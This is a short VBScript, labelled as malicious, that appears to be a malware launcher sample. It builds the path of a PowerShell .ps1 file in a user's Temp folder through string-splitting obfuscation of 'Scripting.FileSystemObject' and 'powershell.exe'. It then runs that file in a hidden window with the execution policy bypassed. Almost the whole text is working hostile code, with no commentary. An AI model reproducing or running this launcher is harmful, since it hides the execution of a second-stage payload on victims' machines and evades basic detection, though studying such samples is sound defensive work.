Malicious script

Dim dff
dff = 68
swdff = 68
currentDirectory = left(WScript.ScriptFullName,(Len(WScript.ScriptFullName))-(len(WScript.ScriptName)))
Set objFSO=CreateObject(""&"S"&"cripting.FileSystemObject"&"")
djwq = "."&"p"&"s"&"1"
currentFile = "C:\Users\PSPUBWS\AppData\Local\Temp\"&"17055"&djwq
Set objShell = CreateObject("Wscript.shell")
objShell.Run ""+"pow"+"erS"+""+""+"hell.exe -noexit -ExecutionPolicy bypass -noprofile -file " & currentFile,0,true